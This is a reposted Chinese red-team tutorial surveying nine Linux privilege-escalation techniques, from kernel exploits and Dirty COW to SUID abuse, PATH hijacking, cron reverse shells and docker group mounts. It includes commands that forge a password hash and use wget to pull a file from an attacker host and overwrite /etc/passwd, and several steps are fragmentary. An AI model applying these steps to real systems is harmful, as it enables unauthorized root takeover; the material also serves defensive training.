| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 系统运维 -> HW之红队常见Linux的几种提权方法 -> 正文阅读 |
|
[系统运维]HW之红队常见Linux的几种提权方法 |
前言HW即将开始,不管是 Windows 提权还是 Linux 提权,方法都非常之多,实际情况下,还是需要根据对应的情况选择对应的提权方法,今天就Linux常见的几种提权方式做个整理. 想要复习windows提权上期分享过,点击查看图片:HW之红队常见Windows的几种提权方法、 HW之红队常见Windows的几种权限维持 Linux常见的几种提权方法提权,提高自己在服务器中的权限,主要针对网站入侵过程中,当渗透某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限,通常提权是把普通用户的权限提升到管理员权限或者系统权限,在渗透测试过程中,拿到一个webshell之后,一般来说,我们的权限都是目标服务器中间件的权限。 这个时候就需要利用各种漏洞来提升自己的权限,从而能够获得对目标服务器的控制。 1.内核溢出提权简介 复现 uname -a #查看内核/操作系统/cpu信息 cat /proc/version #查看系统信息 cat /etc/issue #查看操作系统版本 lsb_release -a #查询系统版本等信息 第二步:使用searchsploit工具寻找对应的exp searchsploit -t 3.19 searchsploit -x linux/local/37292.c 第三步:让目标机器远程下载exp文件 第四步:将exp文件进行编译 第五步:执行exp文件,提权成功 2.脏牛提权 CVE-2016-5195简介 黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。 exp下载 https://github.com/Brucetg/DirtyCow-EXP 复现 第二步:使用脏牛的exp工具 第三步:验证,直接查看密码文件,提权成功 3.Linux suid提权简介 SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。 也就是如果ROOT用户给某个可执行文件加了S权限,那么该执行程序运行的时候将拥有ROOT权限。 复现过程
第二步:利用带s的文件执行本地sh’shell ps:常见的suid提权文件:nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget 4.passwd提权简介 复现 openssl passwd -1 -salt oooohacker hack123 -> 1 1 1oooohacker$4o50Z4aoUGaLMC0Rg4Io40 将/etc/passwd文件内容复制出来,然后将第一步的结果进行追加到passwd文件中 第二步:让目标远程下载文件,并覆盖原先的passwd文件 wget http://192.168.0.134/passwd -O /etc/passwd 第三步:切换用户,提权成功 5.ssh密钥提权简介 SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接。 SSH最常见的用途是远程登录系统,人们通常利用SSH来传输命令行界面和远程执行命令。 使用频率最高的场合类Unix系统,但是Windows操作系统也能有限度地使用SSH。 2015年,微软宣布将在未来的操作系统中提供原生SSH协议支持,Windows 10 1809 版本已提供可手动安装的 OpenSSH工具。总的来说是一个传输协议,默认端口22 复现 第二步:ls /home/web1 # 查看用户目录下的文件,寻找.ssh 第三步:进入.ssh,对比authrizid_keys和id_rsa.pub,若一致则说明公钥相同 第四步:将公钥对应的私钥文件复制 第五步:保存,并且设置权限 第六步:利用ssh直接进行远程登陆,提权成功 6.环境劫持提权简介 复现过程 find / -perm -u=s -type f 2>/dev/null 第二步:查看suid文件里面执行的是哪些命令,要能够被我们所利用,比如ps命令 第三步:新建一个文件,文件内容为:/bin/bash,文件名是ps,设置环境变量的改变,提权成功 7.john破解shadow root密文登录提权简介 复现过程 8.Ubuntu计划任务反弹shell提权简介 复现过程 第二步:crontab -l 查看当前用户的任务 第三步:tail -f /var/log/syslog,查看日志文件 发现root每一分钟会执行一次 cleanup.py文件 第四步:更改cleanup.py文件里面的内容,做一个反弹shell。提权成功 9.docker 提权简介 Docker监护进程有一个特性,它能被允许访问root用户或者是在docker组里面的所有用户。 这就意味着,有docker 组的权限就如同到root的访问权,而且不需要知道密码。 复现 cat linux.txt | grep docker 第二步:查询当前用户信息和组信息,查询是否存在docker组 第三步:利用docker,将mnt目录挂载到宿主的根目录,提权成功
|
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/15 13:49:52- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |